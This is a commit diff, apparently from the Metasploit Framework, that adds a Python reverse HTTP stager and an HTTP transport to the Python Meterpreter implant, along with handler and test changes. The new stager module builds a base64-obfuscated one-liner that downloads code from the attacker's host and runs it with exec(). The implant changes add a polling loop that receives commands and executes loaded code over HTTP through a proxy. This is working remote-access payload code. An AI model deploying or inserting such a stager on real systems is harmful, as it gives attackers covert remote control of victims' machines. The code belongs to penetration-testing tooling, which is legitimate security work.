Python reverse_http stager, lands #4225
commit
fc96d011ab
|
@ -60,9 +60,13 @@ if sys.version_info[0] < 3:
|
|||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
|
@ -501,6 +505,8 @@ IFLA_MTU = 4
|
|||
IFA_ADDRESS = 1
|
||||
IFA_LABEL = 3
|
||||
|
||||
meterpreter.register_extension('stdapi')
|
||||
|
||||
def calculate_32bit_netmask(bits):
|
||||
if bits == 32:
|
||||
return 0xffffffff
|
||||
|
|
|
@ -18,19 +18,50 @@ except ImportError:
|
|||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
# this MUST be imported for urllib to work on OSX
|
||||
try:
|
||||
import SystemConfiguration as osxsc
|
||||
has_osxsc = True
|
||||
except ImportError:
|
||||
has_osxsc = False
|
||||
|
||||
try:
|
||||
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||
if sys.version_info[0] < 3:
|
||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||
else:
|
||||
urllib = __import__('urllib.request', fromlist=urllib_imports)
|
||||
except ImportError:
|
||||
has_urllib = False
|
||||
else:
|
||||
has_urllib = True
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
|
||||
# these values may be patched, DO NOT CHANGE THEM
|
||||
DEBUGGING = False
|
||||
HTTP_COMMUNICATION_TIMEOUT = 300
|
||||
HTTP_CONNECTION_URL = None
|
||||
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||
HTTP_PROXY = None
|
||||
HTTP_USER_AGENT = None
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
|
@ -284,15 +315,43 @@ class STDProcess(subprocess.Popen):
|
|||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket):
|
||||
def __init__(self, socket=None):
|
||||
self.socket = socket
|
||||
self.driver = None
|
||||
self.running = False
|
||||
self.communications_active = True
|
||||
self.communications_last = 0
|
||||
if self.socket:
|
||||
self.driver = 'tcp'
|
||||
elif HTTP_CONNECTION_URL:
|
||||
self.driver = 'http'
|
||||
self.last_registered_extension = None
|
||||
self.extension_functions = {}
|
||||
self.channels = {}
|
||||
self.interact_channels = []
|
||||
self.processes = {}
|
||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||
self.extension_functions[func[1:]] = getattr(self, func)
|
||||
self.running = True
|
||||
if self.driver:
|
||||
if hasattr(self, 'driver_init_' + self.driver):
|
||||
getattr(self, 'driver_init_' + self.driver)()
|
||||
self.running = True
|
||||
|
||||
def driver_init_http(self):
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
self._http_last_seen = time.time()
|
||||
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
||||
|
||||
def register_extension(self, extension_name):
|
||||
self.last_registered_extension = extension_name
|
||||
return self.last_registered_extension
|
||||
|
||||
def register_function(self, func):
|
||||
self.extension_functions[func.__name__] = func
|
||||
|
@ -318,19 +377,73 @@ class PythonMeterpreter(object):
|
|||
self.processes[idx] = process
|
||||
return idx
|
||||
|
||||
def get_packet(self):
|
||||
packet = getattr(self, 'get_packet_' + self.driver)()
|
||||
self.communications_last = time.time()
|
||||
if packet:
|
||||
self.communications_active = True
|
||||
return packet
|
||||
|
||||
def send_packet(self, packet):
|
||||
getattr(self, 'send_packet_' + self.driver)(packet)
|
||||
self.communications_last = time.time()
|
||||
self.communications_active = True
|
||||
|
||||
def get_packet_http(self):
|
||||
packet = None
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
packet = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
if packet:
|
||||
packet = packet[8:]
|
||||
else:
|
||||
packet = None
|
||||
return packet
|
||||
|
||||
def send_packet_http(self, packet):
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
response = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
|
||||
def get_packet_tcp(self):
|
||||
packet = None
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
packet = self.socket.recv(8)
|
||||
if len(packet) != 8:
|
||||
self.running = False
|
||||
return None
|
||||
pkt_length, pkt_type = struct.unpack('>II', packet)
|
||||
pkt_length -= 8
|
||||
packet = bytes()
|
||||
while len(packet) < pkt_length:
|
||||
packet += self.socket.recv(4096)
|
||||
return packet
|
||||
|
||||
def send_packet_tcp(self, packet):
|
||||
self.socket.send(packet)
|
||||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = bytes()
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
request = None
|
||||
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
|
||||
self.communications_active = False
|
||||
if should_get_packet:
|
||||
request = self.get_packet()
|
||||
if request:
|
||||
response = self.create_response(request)
|
||||
self.socket.send(response)
|
||||
self.send_packet(response)
|
||||
else:
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = list(self.channels.keys())
|
||||
|
@ -370,7 +483,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
|
@ -379,7 +492,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def handle_dead_resource_channel(self, channel_id):
|
||||
del self.channels[channel_id]
|
||||
|
@ -390,21 +503,25 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def _core_loadlib(self, request, response):
|
||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = list(self.extension_functions.keys())
|
||||
|
||||
self.last_registered_extension = None
|
||||
symbols_for_extensions = {'meterpreter':self}
|
||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = list(self.extension_functions.keys())
|
||||
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
||||
for method in new_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
extension_name = self.last_registered_extension
|
||||
|
||||
if extension_name:
|
||||
check_extension = lambda x: x.startswith(extension_name)
|
||||
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
|
||||
for method in lib_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_shutdown(self, request, response):
|
||||
|
@ -546,5 +663,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
|||
os.setsid()
|
||||
except OSError:
|
||||
pass
|
||||
met = PythonMeterpreter(s)
|
||||
if HTTP_CONNECTION_URL and has_urllib:
|
||||
met = PythonMeterpreter()
|
||||
else:
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
||||
|
|
|
@ -194,6 +194,40 @@ protected
|
|||
|
||||
# Process the requested resource.
|
||||
case uri_match
|
||||
when /^\/INITPY/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
# Patch all the things
|
||||
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
|
||||
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
||||
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||
|
||||
unless datastore['PROXYHOST'].blank?
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
})
|
||||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
@ -201,7 +235,7 @@ protected
|
|||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
# This is a TLV packet - I guess somewhere there should be API for building them
|
||||
# This is a TLV packet - I guess somewhere there should be an API for building them
|
||||
# in Metasploit :-)
|
||||
packet = ""
|
||||
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
||||
|
@ -223,7 +257,6 @@ protected
|
|||
})
|
||||
|
||||
when /^\/A?INITM?/
|
||||
|
||||
url = ''
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
|
|
|
@ -8,8 +8,9 @@ module Msf
|
|||
# Define 8-bit checksums for matching URLs
|
||||
# These are based on charset frequency
|
||||
#
|
||||
URI_CHECKSUM_INITW = 92
|
||||
URI_CHECKSUM_INITJ = 88
|
||||
URI_CHECKSUM_INITW = 92 # Windows
|
||||
URI_CHECKSUM_INITP = 80 # Python
|
||||
URI_CHECKSUM_INITJ = 88 # Java
|
||||
URI_CHECKSUM_CONN = 98
|
||||
|
||||
#
|
||||
|
@ -61,6 +62,8 @@ module Msf
|
|||
case uri_check
|
||||
when URI_CHECKSUM_INITW
|
||||
uri_match = "/INITM"
|
||||
when URI_CHECKSUM_INITP
|
||||
uri_match = "/INITPY"
|
||||
when URI_CHECKSUM_INITJ
|
||||
uri_match = "/INITJM"
|
||||
when URI_CHECKSUM_CONN
|
||||
|
|
|
@ -45,7 +45,7 @@ module ReverseHttpsProxy
|
|||
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
|
||||
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
|
||||
], Msf::Handler::ReverseHttpsProxy)
|
||||
], Msf::Handler::ReverseHttpsProxy)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
|
|
|
@ -96,7 +96,7 @@ module PacketDispatcher
|
|||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
rpkt = send_queue.pop
|
||||
rpkt = send_queue.shift
|
||||
resp.body = rpkt || ''
|
||||
begin
|
||||
cli.send_response(resp)
|
||||
|
|
|
@ -0,0 +1,67 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
|
||||
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
target_url = 'http://'
|
||||
target_url << lhost
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
|
||||
|
||||
cmd = "import sys\n"
|
||||
if datastore['PROXYHOST'].blank?
|
||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||
else
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
end
|
|
@ -14,10 +14,7 @@ module Metasploit3
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Python Meterpreter',
|
||||
'Description' => %q{
|
||||
Run a meterpreter server in Python. Supported Python versions
|
||||
are 2.5 - 2.7 and 3.1 - 3.4.
|
||||
},
|
||||
'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
|
@ -25,18 +22,18 @@ module Metasploit3
|
|||
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
||||
))
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ])
|
||||
OptBool.new('PythonMeterpreterDebug', [ true, "Enable debugging for the Python meterpreter", false ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
|
||||
file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
|
||||
|
||||
met = File.open(file, "rb") {|f|
|
||||
met = ::File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
|
||||
if datastore['DEBUGGING']
|
||||
if datastore['PythonMeterpreterDebug']
|
||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||
end
|
||||
|
||||
|
|
|
@ -1837,6 +1837,16 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'python/meterpreter/bind_tcp'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_http' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
'stagers/python/reverse_http',
|
||||
'stages/python/meterpreter'
|
||||
],
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/meterpreter/reverse_http'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_tcp' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
|
|
|
@ -62,15 +62,15 @@ File.open('log/untested-payloads.log') { |f|
|
|||
$stderr.puts
|
||||
$stderr.puts " context '#{reference_name}' do\n" \
|
||||
" it_should_behave_like 'payload can be instantiated',\n" \
|
||||
" ancestor_reference_name: ["
|
||||
" ancestor_reference_names: ["
|
||||
|
||||
ancestor_reference_names = options[:ancestor_reference_names]
|
||||
|
||||
if ancestor_reference_names.length == 1
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||
else
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}',"
|
||||
$stderr.puts " '#{ancestor_reference_names[1]}'"
|
||||
$stderr.puts " '#{ancestor_reference_names[1]}',"
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||
end
|
||||
|
||||
$stderr.puts " ],\n" \
|
||||
|
|
Loading…
Reference in New Issue